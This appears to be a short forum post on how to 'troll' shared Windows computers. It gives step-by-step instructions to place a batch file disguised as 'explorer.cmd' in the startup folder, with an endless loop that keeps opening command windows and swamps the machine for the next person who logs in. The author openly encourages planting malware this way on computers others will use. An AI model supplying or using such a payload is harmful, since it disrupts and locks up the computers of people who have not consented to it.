Specify "hack", if you just want to troll the machines, you can do this:
Press "Windows flag" + "R" in your keyboard
Write "shell:startup" and press enter
Will open the file manager, the selected folder make everything inside start with the computer (so, you can make a malware, and just shutdown the computer, the next people that gonna use, will have a surprise.)
in the folder, create a new file with the name: "explorer.cmd"
Write this in the code:
@echo off
:a
start cmd.exe
goto a
Have fun :P